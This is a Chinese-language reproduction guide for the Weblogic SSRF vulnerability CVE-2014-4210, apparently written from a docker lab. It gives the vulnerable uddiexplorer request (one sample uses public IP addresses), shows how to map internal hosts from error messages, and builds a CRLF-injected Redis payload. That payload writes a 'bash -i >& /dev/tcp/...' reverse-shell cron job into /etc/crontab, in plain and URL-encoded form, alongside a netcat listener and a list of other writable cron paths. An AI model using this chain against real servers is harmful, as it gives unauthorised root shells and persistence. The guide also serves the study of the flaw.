Weblogic漏洞-SSRF攻击内网redis服务漏洞

CVE-2014-4210

漏洞简介

Weblogic 中存在一个 SSRF 漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻 击内网中 Redis 、 Fastcgi 等脆弱组件。

漏洞生于 /uddiexplorer/SearchPublicRegistries.jsp 页面中,可以导致 SSRF , 用来攻击内网中一些 redis 和 fastcgi 之类的脆弱组件

1
2
3
4
5
6
7
8
http://47.104.255.11:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name

&txtSearchname=sdf
&txtSearchkey=
&txtSearchfor=
&selfor=Business+location
&btnSubmit=Search
&operator=http://47.101.214.85:9090

漏洞复现

SSRF漏洞存在于以下url中,直接访问无需密码

http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

image-20230406201904512

点击search,我们在brupsuite下测试。访问一个可以访问的IP:PORT
如:http://127.0.0.1:7001

image-20230406202010541

1
2
3
4
5
6
btnSubmit=Search
&operator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi
&rdoSearch=name
&selfor=Business+location&txtSearchfor=
&txtSearchkey=
&txtSearchname=

利用:operator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi& 参数构造payload

当 http 端口存活的时候就会显示 404 not found :

image-20230406202459511

内网主机存活探测

随机访问一个端口则会显示 could not connect

image-20230406202609182

一个非http的协议则会返回 did not have a valid SOAP

image-20230406203123376

不存活的主机就是 No route to host

image-20230406203056639

通过错误的不同,即可探测内网状态。

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),通过报错判断出 172.20.0.2:6379存在redis服务

发送三条redis命令,将弹shell脚本写入/etc/crontab:

1
2
3
4
5
6
7
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.20.0.2/5003 0>&1\n\n\n\n"  

config set dir /etc/

config set dbfilename crontab

save

把这三条命令通过get包注入进去,先要将命令用url进行编码

注意,换行符是”\r\n”,也就是”%0D%0A”。

1
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.20.0.1%2F5003%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

172.20.0.1:为监听ip地址

5003:为监听机器端口

172.20.0.2:6379 为内网探测的redis地址及端口。

将url编码后的字符串放在ssrf的域名后面,发送:

监听机器开启监听反弹shell

nc -lvnp 5003

可进行利用的cron有如下几个地方:

/etc/crontab 这个是肯定的

/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。

/var/spool/cron/root centos系统下root用户的cron文件

/var/spool/cron/crontabs/root debian系统下root用户的cron文件